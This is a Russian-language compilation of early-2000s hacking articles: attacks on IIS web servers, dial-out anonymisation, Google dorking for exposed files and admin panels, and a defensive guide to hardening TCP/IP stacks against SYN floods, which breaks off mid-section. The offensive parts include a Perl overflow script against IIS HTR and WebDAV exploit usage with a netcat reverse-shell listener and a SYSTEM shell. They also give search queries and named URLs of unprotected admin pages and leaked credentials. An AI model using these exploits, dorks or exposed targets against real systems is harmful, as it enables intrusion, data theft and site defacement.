("LDAPUserID") = "cn=Directory Admin"

("LDAPPwd") = "slapdme"

Как видите, из этого файла можно многое почерпнуть =) Конечно, приведенный пример - ошибка программиста, но сколько их бывает подобного рода ;-)

HTR Chunked Encoding Buffer overflow

Не очень старая уязвимость, но нормального эксплоита пока не нашел.

HTR_Exploit.pl (или iischeck.pl) проверяет наличие этого бага. Работает даже под IIS 5.1 (Win XP Pro).

Пока это только доказательство концепции.

Ждем эксплоита. Уязвимость позволяет удаленно выполнять произвольный код. Хотя,для IIS 4 вот это вполне сойдет:

#!/usr/bin/perl

#props to the absu crew

use Net::Telnet;

for ($i=2500;$i<3500;$i++)

{

$obj=Net::Telnet->new( Host => "$ARGV[0]",Port => 80);

my $cmd = "GET /". 'A' x $i . ".htr HTTP/1.0\n";

print "$cmd\n";$obj->print("$cmd");

$obj->close;

}

:: БЕГЛЫЕ ЗАМЕЧАНИЯ ::

Мы не касаемся таких уязвимостей как .ida/.idq и проч. (использовавшиеся Code Red & Nimda).

Если передать shtml.exe в качестве параметра несуществующее имя файла, узнаем путь к wwwroot.

Cannot open "d:\inetpub\wwwroot\postinfo1.html": no such file or folder.

В IIS 4 при подстановке ::$DATA после имени .asp файла получим его исходный код.

Можно зааплодить троян на IIS 4 без SP6.

ЧАСТЬ 3. УЯЗВИМОСТЬ IIS WebDAV NTDLL.DLL

И вот, новые уязвимости прогремели с шумом по сети.

Переполнение буфера в протоколе webdav под IIS позволяет выполнять произвольный код в контексте учетной записи SYSTEM.

Первый эксплоит сделал kralor [Crpt]. Он открывает обратную связь, используя netcat.

Сперва запускаем nc:

nc -L -vv -p 31337

Затем запускаем эксплоит:

wbr адрес_жертвы наш_ip 31337 0

После этого появился более продвинутый эксплоит от www.rs-labs.com.

Работает так:

$ gcc -o rs_iis rs_iis.c

$ ./rs_iis microsoft.net

[*] Resolving hostname ...

[*] Attacking port 80 at roman (EIP = 0x00480004)...

[*] Now open another console/shell and try to connect

(telnet) to victim port 31337...

$ telnet roman 31337

Trying 192.255.255.1 ...

Connected to microsoft.net.

Escape character is '^]'.

Microsoft Windows 2000 [Version 5.00.2195]

(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>

Авторы xSpider сканера сделали эксплоит с графическим интерфейсом под win32.

И, кажется, самый свежий на момент написания статьи - от Xnuxer Lab. Сплоит примечателен тем, что не требует дополнительных средств типа netcat.

Использование:

webdav_ex.pl -h <цель> -p <порт> -H <ip_коннекта> -P <порт_коннекта> -R <ret_адрес>

Эксплоит от Alumni. Биндит шелл на порту 32768.

Ну вот и все, что мы хотели сказать относительно взлома IIS веб сервера.P.S. нашумевшей уязвимости dcom rpc мы не рассматривали, потому что это уязвимость не веб сервера, а ОС win NT.

Q. dial-out и что с него можно состричь.

A. Ты соединяешься с машиной IP dial-out'a, и можешь использовать модем удаленно, т.е. мутить коннект с номера другой машины, создавая виртуальное соединение. Сервис был и остается популярным среди корпоративных юзеров, которым необходимо прозвонить модемные номера за бугром: из Сети они подрубаются к серверу, находящемуся в нужном городе, и уже оттуда телефонят в нужном направлении. Хакеру же сия возможность полезна для установки условно-абсолютной анонимности: dial-out стоит в Африке, откуда ты прозваниваешься местному провайдеру, а он в свою очередь ловит в логи выход с местного телефонного номера. Dial-out'ы можно настраивать самому на захваченных машинах или дружеском серванте - существует архиудобный FAQ Linux: How-To Dial-Out. Если поломанных машин нет, или администрировать не доверяют, ищем уже установленные dial-out'ы. Они обычно висят на портах 2001-2012. Бывают извраты, которые можно выявить при наличии доступа к серверу (ищем dial-out сервис в процессах, копаем файлы настроек).

Google для хакора

За последние несколько лет появилось множество статей, которые предупреждают о том, что хакеры (или cracker'ы, если хотите) используют поисковую систему google для получения доступа к файлам, к которым, по идее, они доступа иметь не должны. То, что я расскажу вам, возможно, кто-то уже давно использует в своих целях, но мне всегда было интересно самому узнать, как это работает. В 2001 году, James Middleton написал статью для vnunet.com, в которой шла речь об использовании хакерами специальных слов в поисковой машине google, для нахождения важной банковской информации: "В сообщении, находившемся в одной из security конференций было сказано, что введя 'Index of / +banques +filetype:xls' в строку поиска, в конечном счете можно было заполучить важные / секретные таблицы Excel из Французских банков. Та же самая технология может быть использована для поиска файлов с паролями"[1] В другой статье, которая появилась на wired.com, рассказывается, как Adrian Lamo, хакер, часто попадающий в сводки компьютерных преступлений, использовал Google, чтобы получить доступ к web сайтам крупных корпораций. "Например, введя фразу "Select a database to view" - обычная фраза, используемая в FileMaker Pro database interface" - Google выдает примерно 200 ссылок, большинство из которых ведут на страницу с доступом к FileMaker для всех пользователей."[2] Подобные статьи продолжали и продолжали появляться в internet. Правительственные и Военные сайты Соединенных Штатов были тоже уязвимы, потому что скрипты, используемые админами, можно было легко найти с помощью google. Медицинские карты, личные записи - все могло неожиданно оказаться в руках пользователей этой поисковой системы. Но в статьях никогда не было описано, как можно использовать Google в "таких" целях. Даже пример строки, которую вводил хакер, не предоставлялся широкой аудитории. После того, как я последний раз прочитал подобную статью, я решил, что пора самому во всем разобраться - действительно ли google позволяет делать все то, о чем так много раз упоминалось в различных докладах. Следующий текст является результатом моих исследований. Теория На самом деле, теория очень проста. Чтобы получить интересующую вас информацию, вам нужно попробовать представить, в каких файлах эта информация может находиться, а затем просто попытаться их найти. (Например, попробуйте поискать *.xls файлы). Или же вы можете избрать более интересный подход - подумать, какой софт, установленный на атакуемой машине, предоставляет возможность выполнять нужные вам задачи, затем ввести критические/опасные файлы этого программного обеспечения в строку поиска. Примером может послужить система управления содержанием сайта (content management system). Вам нужно исследовать эту систему, выяснить, какие файлы она в себя включает, а затем воспользоваться google. Но вернемся к примеру о базе данных, рассмотренном чуть выше. Вы знаете, что строка "view database" находится на тех web страницах, которые не должны быть вам доступны. Следовательно, вам остается только найти страницы, в которых содержится данная строка или же узнать, что, например, опция "view database" ссылается на страницу "viewdbase.htm", то есть ее и надо будет ввести в строку поиска. Самое главное - четко поставить перед собой цель и знать, что вы хотите найти. Только после этого вы можете воспользоваться Google. Опции поиска Google Специальные типы файлов: *.xls, *.doc, *.pdf *.ps *.ppt *.rtf Google позволяет искать специальные типы файлов, то есть, как результат поиска, вы получаете не html-страницы (web сайты), а, например, файл Microsoft Excel. Вот что нужно ввести в строку поиска: Filetype:xls (для файлов excel) или filetype:doc для файлов Word. Наверное, будет интереснее найти файлы *.db и *.mdb. Можно поискать и другие типы файлов. Первое, что приходит на ум - *.cfg или *.pwd, *.dat файлы и т. п. Сначала подумайте, какие файлы могут содержать ценную информацию. Inurl Еще одна полезная опция при поиске - inurl: опция, которая позволяет искать заданные слова в url. Это дает вам возможность искать нужные каталоги. Пример: inurl:admin Результатом поиска станут web-сайты, у которых в url имеется слово "admin". Index of Опция "index of" тоже не до конца продумана разработчиками google, но нам она очень пригодится. Если вы используете опцию "index of", то как результат, google вам покажет листинг директории на сервере. Вот пример: "index of" admin или index.of.admin В результате вы получите листинг множества директорий 'admin'. Site Опция "site" позволяет показывать результаты поиска только по определенному домену или сайту. Например, вы можете искать как на всех .com или .box.sk или .nl сайтах, так и только на одном сайте. Будет очень интересно поискать на военных и правительственных сайтах. Вот пример строки поиска: Site:mil или site:gov Site:neworder.box.sk "board" Intitle Intitle - еще одна интересная опция. Она позволяет вам искать html файлы, в заголовке которых присутствует нужное вам слово или комбинация слов. Строка поиска при этом будет выглядеть так: intitle:здесь_слово. Вы можете узнать, какие слова присутствуют в заголовке, скажем, той же системы управления содержанием сайта, а затем искать эти слова в google, используя при этом опцию Intitle. В результате, вы получите доступ к подобным системам на других сайтах. Link Опция Link позволяет вам узнать, на каких web страницах есть ссылка на указанный вами сайт. Как описано в книге 'Hacking Exposed Third Edition' (Секреты Хакеров Третье Издание), эту опцию мы также можем использовать в своих целях. Комбинируем опции при поиске Все вышеупомянутые опции могли быть, а могли и не быть вам известны. В любом случае, используя их, мы получим интересный результат. Факт остается фактом - свою магическую силу google проявляет тогда, когда мы начинаем комбинировать друг с другом эти опции. Например, можете попробовать поискать это: inurl:nasa.gov filetype:xls "restricted" или это: site:mil filetype:xls "password" или может быть это: site:mil "index of" admin (Эти примеры я взял из головы и не знаю, выдаст ли google что-нибудь интересное. Вам необходимо найти такое сочетание опций, чтобы получить ожидаемый результат). Примеры; Практический Материал Специальные типы файлов: *.xls, *.doc, *.pdf *.ps *.ppt *.rtf Для начала, попробуйте поискать те файлы, в которых, вы думаете, находится интересующая вас информация. Для меня очевидным выбором стали следующие вещи: Password, passwords, pwd, account, accounts, userid, uid, login, logins, secret, secrets. Конечно, все эти слова я искал с расширением *.doc, *.xls и *.db Вот и появились первые интересные результаты, особенно, если искать файлы с расширением *.db. Правда, пароли я также находил и в *.doc файлах. http://www.doc.state.ok.us/Spreadsheets/private%20prison%20survey%20for%20web.xls http://www.bmo.com/investorrelations/current/current/suppnew/private.xls http://www.nescaum.org/Greenhouse/Private/Participant_List.xls http://www.dscr.dla.mil/aviationinvest/attendance_5Apr01.xls http://web.nps.navy.mil/~drdolk/is3301/PART_IS3301.XLS Admin.cfg Admin.cfg, в большинстве случаев, конфигурационный файл админа. Многие разработчики софта также используют имена типа "config", "admin" или "setup". Часто такие файлы содержат чувствительную информацию и поэтому они не должны быть доступны большинству людей. Я попытался поискать файл admin.cfg, используя следующую строку поиска: inurl:admin.cfg "index of" В результате, google выдала множество файлов, среди которых были очень интересные ;). Я, например, нашел файл: http://www.alternetwebdesign.com/cgi-bin/directimi/admin.cfg, в котором находились пароли. Один пароль был от базы данных, которая находилась по адресу: http://www.alternetwebdesign.com/cgi-bin/directimi/database.cgi?admin.cfg. В базе данных находилась конфиденциальная информация клиентов этой компании. Я решил связаться с этой компанией и рассказать об уязвимости. Люди там оказались дружелюбные и сказали, что в ближайшее время постараются залатать брешь. Webadmin Некоторое время назад, когда я работал над этой статьей, я зашел на web сайт: http://wacker-welt.de/webadmin/ Там было написано, что "webadmin" позволяет удаленно редактировать содержимосодержимое web сайта, загружать файлы и т.д. Главная страничка центра управления (control center) webadmin называется "webeditor.php". Очевидно, что следующим моим шагом стало посещение google и использование опции 'inurl', чтобы найти страницы webeditor.php. Вот, что я ввел в строке поиска: inurl:webeditor.php и вот, что я нашел: http://orbyonline.com/php/webeditor.php http://www-user.tu-chemnitz.de/~hkri/Neuer%20Ordner/webeditor.php http://artematrix.org/webeditor/webeditor.php http://www.directinfo.hu/kapu/webeditor.php Ко всем этим файлам доступ был неограничен, а все потому, что владельцы сайтов не потрудились поставить (правильно) защиту, используя .htaccess. Подобная ошибка позволяет абсолютно любому пользователю интернета заменять web страницы на сервере, а, следовательно, и дефейсить сайт. Возможность загружать свои файлы дает возможность получить полный доступ к серверу. Походив по этим сайтам, я заметил, что файл, позволяющий загружать файлы, называется "file_upload.php". Затем в дело вступает google. http://www.hvcc.edu/~kantopet/ciss_225/examples/begphp/ch10/file_upload.php Вот хороший пример: http://www.pelicandecals.com/admin/webeditor.php Данный скрипт позволяет вам изменять файлы, как и в предыдущих примерах, включая index.php. По идее, любой заинтересованный человек может изменить существующий или загрузить свой скрипт на сервер и выполнить его. О последствиях, думаю, упоминать не стоит. Там также присутствовала ссылка "Return Administration", кликнув по которой, я оказался здесь: http://www.pelicandecals.com/admin/administration.html Тут была доступна информация о покупателях, возможность менять цены на товары и т.д. Системы управления содержанием сайта Системы управления содержанием сайта - это программы, позволяющие web мастерам редактировать, изменять содержимое web сайта. Тоже относится и к панелям управления web сайтов. Суть заключается в том, что вам надо определить, какие файлы являются ключевыми в данном продукте. Таким файлом может быть "cms.html", "panel.html" или "con"control.cfg". Frontpage Server Extensions HTML Administration Forms "Вы можете удаленно администрировать FrontPage Server Extensions с любого компьютера, подключенного к internet, используя FrontPage Server Extension HTML Administration Forms." Вот, что говорит об этом документация Microsoft. Это значит, пользователи, имеющие доступ к этим формам, могут выполнять некоторые функции администратора, удаленно. А это значит, что формы должны быть хорошо защищены от неавторизованных пользователей. Ну что, как насчет поискать такие формы в интернете? Первое, что нам нужно сделать - выяснить, какие файлы использует этот софт. Краткий визит на web сайт Microsoft или беглый взгляд в документацию FrontPage покажет, что главной страницей всех форм администратора является "fpadmin.htm". Именно этот файл мы и будем искать. Но, сначала, мы должно правильно подобрать те опции, которые будут использоваться в строке поиска, чтобы получить нужный нам результат. Если проводится установка по умолчанию, то все файлы помещаются в директорию "admin". Вспомнив все, что мы узнали об опциях google и теории поиска, ожидаемый результат может выдать строка поиска типа: inurl:fpadmin.htm "index of" admin или inurl:admin/fpadmin.htm А вот и полученные при поиске результаты: http://www.lehigh.edu/~ineduc/degree_programs/tbte/admin/ http://blackadder.eng.monash.edu.au/frontpage/admin/ http://www.lehigh.edu/collegeofeducation/degree_programs/tbte/admin/ http://www.vsl.gifu-u.ac.jp/freeman/frontpage4/admin/ http://www.tech-geeks.org/contrib/loveless/e-smith-fp-2002/frontpage/version5.0/admin/1033/fpadmin.htm http://fp.nsk.fio.ru/admin/1033/fpadmin.htm Вот что еще написано в документации к FrontPage: "Из соображений безопасности, HTML Administration Forms сразу после установки не активны, что не позволит удаленно администрировать FrontPage из web браузера." Это означает только одно - некоторые ссылки, которые выдала нам поисковая система google, могут оказаться бесполезными и есть только один способ проверить их работоспособность - попробовать воспользоваться некоторыми функциями администратора и посмотреть на результат. Я решил не заходить так далеко, чтобы не нарушать закон. Но я здесь не для того, чтобы учить вас хорошим манерам, по крайней мере сегодня. Freesco Router Программное обеспечение Freesco router для Linux по умолчанию устанавливает маленький браузер, который позволяет владельцам контролировать работу роутера через http протокол. По умолчанию, логин и пароль для панели управления - "admin". Очень многие пользователи freesco не знают об этом. Вы можете поискать панель управления Freesco роутеров, использую следующую строку: intitle:"freesco control panel" или "check the connection" эти слова находятся либо в заголовках страниц, либо на самих страницах. Все сводится к одному - вы должны изучить софт, найти те его части, которые отвечают за что-то важное (та же страница администратора) и составить такую строку, воспользовавшись которой, вы получите доступ к этим самым частям. Дополнительные советы o Запомните, Английский, самый распространенный в интренете язык, но он не единственный. Пробуйте искать слова или строки из вашего родного языка или Французского или Немецкого и т.д. Например, "beeheer" по-немецки означает "администрация". o Вы можете использовать строки из списка уязвимостей любого сканера безопасности (security scanner). За примерами можно обратиться сюда: http://paris2k.at.box.sk/listings/ o Пробуйте искать файлы "config.inc.php" или "mysql.cfg" - они могут содержать комбинации логин-пароль от базы данных MySQL. Попробуйте в строке поиска использовать слова PHP, SQL, mySQL и т.д. o Попробуйте следующие комбинации: inurl:admin "index of" "database" или inurl:phpmyadmin "index of" или inurl:mysql "index of" site:neworder.box.sk intitle:index.of или intitle:index.of.private( = intitle:"index of private") Заключение Internet - это сеть, к которой подключены сотни тысяч, а то и миллионов web серверов и по идее, можно получить доступ к любым данным, конечно, если они не защищены подобающим образом. Как разработчики программного обеспечения, так и конечные пользователи должны уделять больше внимания конфигурации защиты, устанавливаемой по умолчанию и политике безопасности. В конце концов, всегда найдутся люди, которые допускают ошибки, устанавливают все по умолчанию, используют плохо защищенное программное обеспечение и совсем об этом не беспокоятся или все еще верят, что ничего не произойдет если они поместят все это в таком виде в интернет. Но все же находятся любопытные личности, которым нравится находить интересную информацию не для посторонних глаз. Google может вам значительно помочь в таких делах, к тому же это совсем не трудно.

10 декабря 2003  Укрепление стека TCP/IP для защиты от SYN атак

Большинство людей знает, насколько может быть проблематична защита от SYN-атак. Обычно используются несколько более или менее эффективных методов. Почти в каждом случае, основным решением является правильная фильтрация пакетов. В дополнение к созданию пакетных фильтров, администратором может быть выполнена модификация TCP/IP стека данной операционной системы. Данный метод - настройка TCP/IP стека в различных операционных системах, и будет описан ниже.

В то время как невозможно полностью предотвратить SYN атаки, настройка TCP/IP стека помогает уменьшить влияние этого вида атак, при этом все еще разрешая легальный клиентский трафик через сервер. Необходимо отметить, что некоторые SYN атаки не всегда пытаются "положить" серверы, вместо этого они пытаются потребить всю пропускную способность вашего Internet канала.

Что может сделать администратор, когда его серверы подвергаются классической (не использующей заполнения пропускной способности интернет-канала), SYN атаке? Одним из наиболее важных шагов является включение встроенных в операционную систему механизмов защиты, таких как SYN cookies или SynAttackProtect. Дополнительно, в некоторых случаях, необходима настройка параметров TCP/IP стека. Изменение заданных по умолчанию значений стековых переменных, является уже другим уровнем защиты и помогает нам лучше защитить наши хосты. В этой статье мы сконцентрируем наше внимание на:

Этот метод выполняется с помощью уменьшения времени первой повторной передачи пакета или уменьшения (вплоть до полного отключения) количества повторных передач пакета. Процесс повторной передачи пакета выполняется сервером, до получения от клиента ACK пакета. Пакет с флагом ACK завершает процесс установления соединения между сервером и клиентом.

Необходимо обратить внимание на то, что нападающий может посылать большее количество пакетов с флагом SYN, и тогда вышесказанные операции не смогут решить эту проблему. Однако их выполнение может увеличить вероятность создания полного подключения с легальными клиентами.

Также необходимо помнить, что модификация переменных, изменит режим работы стека TCP/IP. Так, после модификации, мы должны удостовериться, что сервер может должным образом связываться с другими хостами. Например, отключение повторных передач пакета в некоторых системах низкой пропускной способностью, может привести к отказу в работе при легальных запросах. В этой статье можно найти описание TCP/IP переменных для следующих операционных систем: Microsoft Windows 2000, RedHat Linux 7.3, Sun Solaris 8 и HP-UX 11.00.

Определения: SYN атака и SYN спуфинг.

SYN атака -это один из типов DDoS атак. Мы можем говорить, что хост жертвы подвергся SYN атаке, в случае, когда злоумышленник пытается создать огромное количество подключений в состоянии SYN RECEIVED до тех пор, пока не переполнится очередь соединений. Состояние SYN RECEIVED создается, когда хост жертвы получает запрос на подключение (пакет с набором флага SYN) и распределяет для этого некоторые ресурсы памяти. При SYN атаке создается такое количество полуоткрытых подключений, что система переполняется и больше не может обрабатывать поступающие запросы.

Для увеличения эффективности SYN атаки, злоумышленник использует фиктивные IP адреса в SYN пакетах. В этом случае хост жертвы не может быстро закончить процесс инициализации, потому что исходный IP адрес может быть недостижим. Эта злонамеренная операция называется SYN спуфингом.

Мы должны знать, что процесс создания полного подключения занимает некоторое время. Первоначально, после получения запроса на подключение (пакет с набором флага SYN), хост жертвы помещает это полуоткрытое соединений в очередь и посылает первый ответ (пакет с флагами SYN и ACK). Если жертва не получает ответ от удаленного хоста, то она повторно передает SYN+ACK пакеты, до тех пор, пока не наступит тайм-аут, а затем удаляет это полуоткрытое соединение из очереди. В некоторых операционных системах этот процесс, для каждого отдельного SYN запроса, может занимать приблизительно 3 минуты! В этом документе Вы узнаете, как можно изменить эту закономерность. Другой, не менее важной информацией, которой Вы должны владеть является то, что операционная система может обрабатывать только определенное количество полуоткрытых подключений в очереди. Это количество управляется размером очереди соединений. Например, заданный по умолчанию размер очереди в RedHat 7.3 - 256, а в Windows 2000 Professional - 100. Когда размер очереди достигнет этого размера, система больше не будет принимать поступающие запросы.

Обнаружение SYN атак

Обнаружить SYN атаку очень легко. Команда netstat показывает нам количество подключений находящихся в полуоткрытом состоянии. Полуоткрытое состояние описано как SYN_RECEIVED в Windows и как SYN_RECV в Unix системах.

  # netstat -n -p TCP

tcp 0 0 10.100.0.200:21 237.177.154.8:25882 SYN_RECV -

tcp 0 0 10.100.0.200:21 236.15.133.204:2577 SYN_RECV -

tcp 0 0 10.100.0.200:21 127.160.6.129:51748 SYN_RECV -

tcp 0 0 10.100.0.200:21 230.220.13.25:47393 SYN_RECV -

tcp 0 0 10.100.0.200:21 227.200.204.182:60427 SYN_RECV -

tcp 0 0 10.100.0.200:21 232.115.18.38:278 SYN_RECV -

tcp 0 0 10.100.0.200:21 229.116.95.96:5122 SYN_RECV -

tcp 0 0 10.100.0.200:21 236.219.139.207:49162 SYN_RECV -

tcp 0 0 10.100.0.200:21 238.100.72.228:37899 SYN_RECV -

...

  Мы можем также подсчитать количество полуоткрытых подключений находящихся в очереди в настоящее время. В приведенном ниже примере, 769 подключений (для TELNET) находящихся в состоянии SYN RECEIVED сохраняются в очереди задач.

* netstat-n-p TCP | grep SYN_RECV | grep:23 | wc-l

769

Другой метод обнаружения SYN атак состоит в распечатке статистики TCP и просмотре параметров TCP, подсчитывающих количество отклоняемых запросов. Во время атаки значения этих параметров быстро возрастают.

В этом примере мы пронаблюдаем за значением параметра TcpHalfOpenDrop на системе Sun Solaris.

* netstat-s-P tcp | grep tcpHalfOpenDrop

 tcpHalfOpenDrop = 473

Важно обратить внимание на то, что каждый tcp порт имеет свою собственную очередь соединений, но только одна переменная стека tcp/IP управляет размером этой очереди для всех портов.

Очередь соединений

Очередь соединений - большая структура памяти, используемая для обработки поступающих пакетов с набором флага SYN до момента установления соединения между клиентом и сервером. Операционная система распределяет часть системной памяти для каждого поступающего соединения. Мы знаем, что каждый tcp порт может обрабатывать только определенное количество поступающих запросов. Очередь соединений управляет количеством полуоткрытых подключений, способных одновременно обрабатываться операционной системой. Когда количество поступающих соединений достигнет максимального уровня, все последующие запросы будут отклонены операционной системой.

Как упомянуто выше, обнаружение большого количества соединений в состоянии SYN RECEIVED скорее всего означает, что хост подвергся SYN атаке. Кроме того, исходные IP адреса, этих пакетов могут быть фиктивными. Для ограничения эффективности SYN атак мы должны включить некоторые встроенные защитные механизмы. Иногда мы также можем использовать методы типа увеличения размера очереди соединений и уменьшения времени хранения незавершенных соединений в распределяемой памяти (в очереди соединений).

Встроенные механизмы защиты

Операционная система: Windows 2000

Наиболее важным параметром в Win2K\Server 2003 является параметр SynAttackProtect. Включение этого параметра позволяет операционной системе более эффективно обрабатывать поступающие соединения. Защита может быть установлена, путем добавления значения SynAttackProtect, типа DWORD, в следующий ключ системного реестра:

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters

В случае обнаружения SYN атаки, параметр SynAttackProtect изменяет режим работы стека TCP/IP, что позволяет операционной системе обрабатывать большее количество SYN запросов. Принцип работы заключается в отключении некоторые опций сокета, добавлении дополнительных задержек к показаниям соединения и изменении тайм-аута для запросов.

Когда значение SynAttackProtect равно 1, количество повторных передач уменьшено, а маршрутизация содержимого кеша отсрочена до создания соединения. Рекомендуемое значение SynAttackProtect - 2, при котором дополнительно задерживается признак соединения с Windows Socket до установления связи сервера с клиентом. В ходе нападения, лучшая производительность в обработке соединений достигается с помощью отключения нескольких параметров (эти параметры обычно используются системой в течение процесса создания новых соединений). Параметр TCPINITIALRTT, определяющий время первой перепередачи, больше не будет использоваться.

Как мы можем увидеть, включение параметра SynAttackProtect не изменяет режим работы стека TCP/IP до и при SYN атаке. Но даже при включенном параметре SynAttackProtect, операционная система может обрабатывать легальные поступающие соединения.

Операционная система автоматически включает защиту от SYN атак, когда обнаруживает превышение значений следующих трех параметров: TcpMaxHalfOpen, TcpMaxHalfOpenRetried и TcpMaxPortsExhausted.

Чтобы изменить значения этих параметров, сначала мы должны добавить их к тому же самому ключу системного реестра, как и в случае с SynAttackProtect.

Элемент системного реестра TcpMaxHalfOpen определяет максимальное количество состояний SYN RECEIVED, которые могут быть одновременно обработаны, прежде чем сработает SYN защита. Рекомендуемое значение этого параметра - 100 для Windows 2000 Server и 500 для Windows 2000 Advanced Server.

TcpMaxHalfOpenRetried определяет максимальное количество полуоткрытых подключений, для которых операционная система выполнила по крайней мере одну повторную передачу, прежде, чем сработает SYN защита. Рекомендуемое значение - 80 для Windows 2000 Server, и 400 для Advanced Server.

Элемент системного реестра TcpMaxPortsExhausted определяет число отклоненных SYN запросов, после которого сработает защита от SYN атак. Рекомендованное значение - 5.

Операционная система: Linux RedHat

В RedHat, как и в других Linux системах, осуществлен механизм SYN cookies, который включается следующим способом:

* ECHO 1 >/proc/sys/net/ipv4/tcp_syncookies

Обратите внимание, что для того чтобы сделать это изменение постоянным, мы должны создать загрузочный файл, который будет присваивать значение этой переменной. Мы должны проделать ту же самую операцию и для других UNIX переменных, описанных в этой статье, потому что значения этих переменных после перезагрузки системы вернуться к прежним значениям.

Защита SYN cookies особенно полезна, в случае, когда система подверглась SYN атаке, а исходные IP адреса пакетов - фиктивные (SYN спуфинг). Этот механизм позволяет структурировать пакеты с набором флагов SYN и ACK, которые имеют специально обработанный "начальный номер последовательности" (ISN), называемый cookie. Значение cookie это не псевдослучайное число, сгенерированное системой, а результат действия хеш-функции. Это значение генерируется хеш-функцией в зависимости от следующей информации: IP-адрес источника, порт источника, IP адрес получателя, порт получателя плюс некоторые секретные значения. В ходе SYN атаки, когда заполняется очередь соединений, система вместо отклонения запроса, генерирует ответ, посылая клиенту пакет с cookie. Когда сервер получает пакет с набором флажка ACK (последняя стадия процесса установления соединения с клиентом), тогда он проверяет значение cookie. Если это значение правильно, то сервер создает подключение, даже в случае если нет никакого соответствующего элемента в очереди соединений. В этом случае мы знаем, что это легальное соединение, и что исходный IP адрес не фиктивный. Важно обратить внимание на то, что механизм работы SYN cookie, вообще не использует очередь соединений, так что теперь мы не должны изменять её размер.

Также необходимо обратить внимание на то, что механизм SYN cookies работает только когда опция CONFIG_SYNCOOKIES установлена в ходе компиляции ядра системы.

В следующем разделе будут описаны другие полезные методы защиты от SYN атак. Я хотел бы подчеркнуть, что при более сложных видах SYN атак,  эти методы могут помочь, но не решить проблему.

Увеличение размера очереди соединений

При SYN атаке, мы можем изменить размер очереди задач для поддержки большего количества полуоткрытых соединений так, чтобы не отклонять доступ к серверу легальным клиентам. В некоторых операционных системах, размер очереди задач очень маленький, поэтому производители рекомендуют увеличение этого значения, в случае если система подверглась SYN атаке.

Увеличение размера очереди задач требует, чтобы система резервировала дополнительные ресурсы памяти для входящих соединений. Если в системе отсутствует достаточное количество свободной памяти для этой операции, то пострадает производительность системы. Также мы должны удостовериться, что сетевые приложения (Apache, IIS и т.д.) смогут принимать большее количество подключений.

Операционная система: Windows 2000

Кроме описанных выше переменных TcpMaxHalfOpen и TcpMaxHalfOpenRetried, в Windows 2000 количество полуоткрытых подключений может быть установлено через динамическую очередь соединений. Конфигурирование этой очереди выполняется через драйвер AFD.SYS. Этот драйвер используется для поддержки Windows Socket приложений (FTP, Telnet и т.д.). Для увеличения количества полуоткрытых соединений, AFD.SYS поддерживает четыре элемента системного реестра. Все эти значения расположены в следующем ключе системного реестра:

HKLM\System\CurrentControlSet\Services\ AFD\Parameters

Значение системного реестра EnableDynamicBacklog - глобальный переключатель, включающий или выключающий динамическую очередь соединений. Значение 1 - включает динамическую очередь.

MinimumDynamicBacklog - управляет минимальным количеством свободных соединений, разрешенных на каждом отдельном TCP порте. Если количество свободных соединений снижается ниже этого значения, то дополнительные свободные соединения будут созданы автоматически. Рекомендованное значение 20.

Значение MaximumDynamicBacklog определяет сумму активных полуоткрытых соединений и максимального количества свободных соединений. Если это значение будет превышено, то система больше не будет создавать свободные соединения. Рекомендованное значение не должно превышать 20000.

Последний параметр DynamicBacklogGrowthDelta управляет количеством свободных соединений, создаваемых в случае необходимости. Рекомендуемое значение: 10.

Ниже расположена таблица, показывающая рекомендуемые значения для драйвера AFD.SYS:

Значение подключа реестра

Формат

Значение

EnableDynamicBacklog
DWORD

1

MinimumDynamicBacklog

DWORD

20

MaximumDynamicBacklog

DWORD

20000

DynamicBacklogGrowthDelta

DWORD

10

Операционная система: Linux

Переменная Tcp_max_syn_backlog определяет количество полуоткрытых подключений сохраняемых в очереди соединений. Например, 256 - общее количество полуоткрытых подключений, размещенных в памяти Linux RedHat 7.3. Переменные TCP/IP стека могут быть сконфигурированы с помощью команды sysctl или стандартными командами Unix. Ниже показан пример изменения заданного по умолчанию размера очереди соединений с помощью команды sysctl:

 # sysctl -w net.ipv4.tcp_max_syn_backlog="2048"

Операционная система: Sun Solaris

В операционной системе Sun Solaris есть два параметра, управляющие максимальным количеством подключений. Первый параметр управляет общим количеством полных подключений. Второй параметр tcp_conn_req_max_q0, определяет при каком количестве полуоткрытых соединений, поступающие запросы не будут отклонены системой. Заданное по умолчанию значение этого параметра в ОС Sun Solaris 8 равно 1024. Мы можем изменять это значение при помощи команды ndd.

# ndd -set /dev/tcp tcp_conn_req_max_q0 2048

Операционная система: HP-UX

В операционной системе HP-UX, ответственной за управление максимальным количеством полуоткрытых соединений в состоянии SYN RECEIVED, является переменная TCP/IP стека tcp_SYN_rcvd_max. По умолчанию, в ОС HP-UX 11.00, значение этой переменной равно 500. Изменение этого значения, как и в ОС Sun Solaris, происходит с помощью команды ndd.

# ndd -set /dev/tcp tcp_syn_rcvd_max 2048

Уменьшение полного времени обработки запроса на соединение

Поскольку мы знаем, что SYN атака/спуфинг это просто ряд SYN пакетов, главным образом с фиктивными IP адресами. В прошлом разделе мы увеличили размер очереди соединений. Теперь, когда наши системы могут обрабатывать большее количество SYN запросов, мы должны уменьшить полное время хранения полуоткрытых соединений в очереди. Когда сервер получает запрос, он немедленно посылает пакет с набором флагов SYN и ACK, помещает это полуоткрытое соединение в очередь, а затем ожидает от клиента пакет с флагом ACK. Если сервер не получает ответа от клиента, то он еще несколько раз передает ответный пакет (с флагами SYN и ACK), (количество ответов зависит от установок операционной системы), давая клиенту возможность для пересылки ACK пакета. Ясно, что в случае фиктивности исходного IP адреса клиента, ACK пакет никогда не прибудет. После нескольких минут ожидания сервер удаляет это полуоткрытое соединение. Мы можем ускорить процесс удаления соединений в состоянии в SYN RECEIVED из очереди соединений, изменяя время первой перепередачи и общего количества перепередач.

Другая методика защиты от SYN атак заключается в отключении некоторые параметров TCP, которые всегда активны в течение процесса установления связи сервера с клиентом. Некоторые из этих параметров автоматически выключаются механизмами, описанными в первом разделе (SynAttackProtect и Syncookies).

Теперь мы рассмотрим переменные стека TCP/IP, которые позволяют уменьшить время хранения полуоткрытых соединений в очереди задач.

Операционная система: Windows 2000

